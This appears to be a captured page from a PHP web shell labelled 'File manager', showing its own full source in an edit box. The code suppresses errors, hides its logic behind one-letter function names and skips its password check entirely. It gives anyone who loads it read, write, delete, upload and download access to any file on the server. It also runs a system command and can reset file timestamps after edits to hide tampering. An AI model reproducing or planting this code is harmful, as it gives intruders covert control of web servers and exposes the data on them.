File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php
error_reporting(0);

function X($o){return isset($o);}
function Y($t){die($t);}
function A($n){return X($_SESSION[$n])?$_SESSION[$n]:0;}
function B($n,$v){$_SESSION[$n]=$v;}
function C($n){return X($_POST[$n])?$_POST[$n]:0;}
function D($n){return X($_GET[$n])?$_GET[$n]:0;}
function E($t,$n,$v=&quot;&quot;,$s=&quot;&quot;){return in_array($t,[&quot;text&quot;,&quot;password&quot;,&quot;submit&quot;,&quot;file&quot;])?&quot;&lt;input type=&#039;$t&#039; name=&#039;$n&#039; value=&#039;$v&#039; style=&#039;$s&#039;/&gt;&quot;:&quot;&lt;$t name=&#039;$n&#039; style=&#039;$s&#039;&gt;$v&lt;/$t&gt;&quot;;}
function F($m,$i,$x=&quot;&quot;){$f=&quot;&lt;form method=$m enctype=&#039;$x&#039;&gt;&quot;;foreach($i as $k=&gt;$v){$f.=E($k,is_array($v)?$v[0]:$v,X($v[1])?$v[1]:&quot;&quot;,X($v[2])?$v[2]:&quot;&quot;);}return $f.&quot;&lt;/form&gt;&quot;;}
function G($t,$b){$h=&quot;&quot;;foreach($t as $x){$h.=&quot;&lt;th&gt;$x&lt;/th&gt;&quot;;}$d=&quot;&quot;;foreach($b as $r){$d.=&quot;&lt;tr&gt;&quot;;foreach($r as $z){$d.=&quot;&lt;td&gt;$z&lt;/td&gt;&quot;;}$d.=&quot;&lt;/tr&gt;&quot;;}return&quot;&lt;table&gt;&lt;thead&gt;$h&lt;/thead&gt;&lt;tbody&gt;$d&lt;/tbody&gt;&lt;/table&gt;&quot;;}
function H($l,$x,$t=&quot;&quot;){return substr($x,-1)==&quot;g&quot;?&quot;&lt;a href=&#039;$l&#039;&gt;&lt;img src=&quot;.str_replace($_SERVER[&#039;DOCUMENT_ROOT&#039;],&quot;&quot;,D(&quot;path&quot;)).&quot;/$x &gt;&lt;/a&gt; &quot;:&quot;&lt;a href=&#039;$l&#039; target=&#039;$t&#039;&gt;$x&lt;/a&gt; &quot;;}
function I(){return 1; if(!C(&quot;login&quot;)){return 0;}if(C(&quot;pass&quot;)!=password){return 0;}B(&quot;login&quot;,1);return 1;}
function J($v=&quot;&quot;){return D(&quot;path&quot;)?($v?str_replace($_SERVER[&#039;DOCUMENT_ROOT&#039;],&quot;&quot;,D(&quot;path&quot;)):D(&quot;path&quot;)):__DIR__;}
function K($b){$l=[&quot;B&quot;,&quot;K&quot;,&quot;M&quot;,&quot;G&quot;,&quot;T&quot;,&quot;P&quot;];for($i=0;$b&gt;=1024&amp;&amp;$i&lt;count($l)-1;$b/=1024,$i++);return round($b,2).&quot; &quot;.$l[$i];}
function L($p){return substr($p,-1)==&quot;g&quot;?basename($p):date(&quot;M d Y H:i:s&quot;,filemtime($p));}
function M($d){if(!is_file($d)){return 0;}header(&quot;Content-Type: application/octet-stream&quot;);header(&quot;Content-Transfer-Encoding: Binary&quot;);header(&#039;Content-disposition: attachment;filename=&quot;&#039;.basename($d).&#039;&quot;&#039;);return readfile($d);}
function N($d){return is_file($d)?unlink($d):(is_dir($d)?rmdir($d):0);}
function O($e){if(is_file($e)){return F(&quot;POST&quot;,[&quot;textarea&quot;=&gt;[&quot;edit&quot;,htmlentities(file_get_contents($e)),&quot;width:100%;\nheight:90%&quot;,],&quot;submit&quot;=&gt;[&quot;save&quot;,&quot;Save&quot;],]);}return 0;}
function P($p,$s){return is_file($p)?file_put_contents($p,ltrim($s))!=false:0;}
function Q($p){return is_file($p)?htmlentities(file_get_contents($p)):0;}
function R($p,$n){return!is_file($p.&quot;/&quot;.$n)?file_put_contents($p.&quot;/&quot;.$n,&quot;&quot;)!=false:0;}
function S($p,$n){return!is_dir($p.&quot;/&quot;.$n)?mkdir($p.&quot;/&quot;.$n):0;}
function T($p,$f){$n=basename($f[&quot;name&quot;]);if(!is_file($p.&quot;/&quot;.$n)){if(move_uploaded_file($f[&quot;tmp_name&quot;],$p.&quot;/&quot;.$n)){return 1;}}return 0;}
function U($p){if($p==&quot;&quot;||$p==&quot;/&quot;){return $p;}$p=explode(&quot;/&quot;,str_replace(&quot;\\&quot;,&quot;/&quot;,$p));array_pop($p);return implode(&quot;/&quot;,$p);}
function V(){exec(&quot;wmic logicaldisk get caption&quot;,$c);$r=&quot;&quot;;foreach($c as $d){$r.=$d!=&quot;Caption&quot;?H(&quot;?path=$d&quot;,$d):&quot;&quot;;}return $r;}
function W(){$x=J();if(!is_dir($x)){return 0;}$z=scandir($x);$k=[];$i=0;foreach($z as $d){if($d==&quot;.&quot;||$d==&quot;..&quot;){continue;}$p=$x.&quot;/&quot;.$d;$s=&quot;--&quot;;$j=&quot;&amp;#128193;\n&quot;;$t=L($p);$l=H(&quot;?path=$p&quot;,$d);$v=substr(sprintf(&quot;%o&quot;,fileperms($p)),-4);$o=function_exists(&quot;posix_getpwuid&quot;)?posix_getpwuid(fileowner($p))[&quot;name&quot;]:fileowner($p);$c=(is_file($p)?H(&quot;?edit=$p&quot;,&quot;Edit&quot;,&quot;_blank&quot;):&quot;&quot;).H(&quot;?delete=$p&quot;,&quot;Delete&quot;,&quot;_blank&quot;).(is_file($p)?H(&quot;?download=$p&quot;,&quot;Download&quot;,&quot;_blank&quot;):&quot;&quot;);
if(is_file($p)){$s=K(filesize($p));$j=&quot;&amp;#128221;\n&quot;;}$k[]=[$j,$i,$l,$s,$t,$v,$o,$c];$i++;}return G([&quot;#&quot;,&quot;id&quot;,&quot;Filename&quot;,&quot;Size&quot;,&quot;Modified&quot;,&quot;Perms&quot;,&quot;Owner&quot;,&quot;&quot;],$k);}

if(!D(&quot;download&quot;)) echo &quot;&lt;head&gt;&lt;title&gt;File manager&lt;/title&gt;&lt;link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css&gt;&lt;/head&gt;\n&quot;;
$l=F(&quot;POST&quot;,[&quot;p&quot;=&gt;[&quot;&quot;,&quot;Password:&quot;],&quot;password&quot;=&gt;[&quot;pass&quot;,&quot;&quot;],&quot;submit&quot;=&gt;[&quot;login&quot;,&quot;Login&quot;],]);if(!I()){Y($l);}
if(D(&quot;delete&quot;)){if(!D(&quot;op&quot;))Y(&quot;op&quot;);N(D(&quot;delete&quot;))?Y(&quot;Deleted: &quot;.D(&quot;delete&quot;)):Y(&quot;File not found&quot;);}
if(D(&quot;edit&quot;)){if(D(&quot;op&quot;))$m=filemtime(D(&quot;edit&quot;));if(C(&quot;save&quot;)){P(D(&quot;edit&quot;),C(&quot;edit&quot;));if(D(&quot;op&quot;)) touch(D(&quot;edit&quot;),$m); echo &quot;Saved&quot;;}$e=O(D(&quot;edit&quot;));$e?Y($e):Y(&quot;File not found&quot;);}
if(D(&quot;download&quot;)){@readfile(M(D(&quot;download&quot;)));exit();}
if(C(&quot;newfile&quot;)){R(J(),C(&quot;filename&quot;))?Y(&quot;Create: &quot;.C(&quot;filename&quot;)):Y(&quot;File exites&quot;);}
if(C(&quot;newdir&quot;)){S(J(),C(&quot;dirname&quot;))?Y(&quot;Create: &quot;.C(&quot;dirname&quot;)):Y(&quot;Dir exites&quot;);}
if(C(&quot;upload&quot;)){T(J(),$_FILES[&quot;file&quot;])?Y(&quot;upload: &quot;.$_FILES[&quot;file&quot;][&quot;name&quot;]):Y(&quot;Upload Error&quot;);}
echo &quot;&lt;body&gt;&quot;.F(&quot;POST&quot;,[&quot;text&quot;=&gt;[&quot;filename&quot;,&quot;File Name&quot;],&quot;submit&quot;=&gt;[&quot;newfile&quot;,&quot;Create&quot;],]).F(&quot;POST&quot;,[&quot;text&quot;=&gt;[&quot;dirname&quot;,&quot;Dir Name&quot;],&quot;submit&quot;=&gt;[&quot;newdir&quot;,&quot;Create&quot;],]).F(&quot;POST&quot;,[&quot;file&quot;=&gt;&quot;file&quot;,&quot;submit&quot;=&gt;[&quot;upload&quot;,&quot;Upload&quot;]],&quot;multipart/form-data&quot;).H(&quot;?path=&quot;.U(J()),&quot;[Back]&quot;).(PHP_OS_FAMILY==&quot;Windows&quot;?V():&quot;&quot;).(is_dir(J())?W():(substr(J(),-1)==&quot;g&quot;?&quot;&lt;img src=&quot;.J(1).&quot; alt=&quot;.basename(J()).&#039; onclick=&quot;this.src = this.src.replace(/\-(\d+)/g, (match, p1) =&gt; { return String.fromCharCode(45) + (parseInt(p1) + 1); });&quot; &gt;&#039;:&quot;&lt;pre&gt;&quot;.Q(J()).&quot;&lt;/pre&gt;&quot;)).&quot;&lt;/body&gt;&quot;;</textarea><input type='submit' name='save' value='Save' style=''/></form>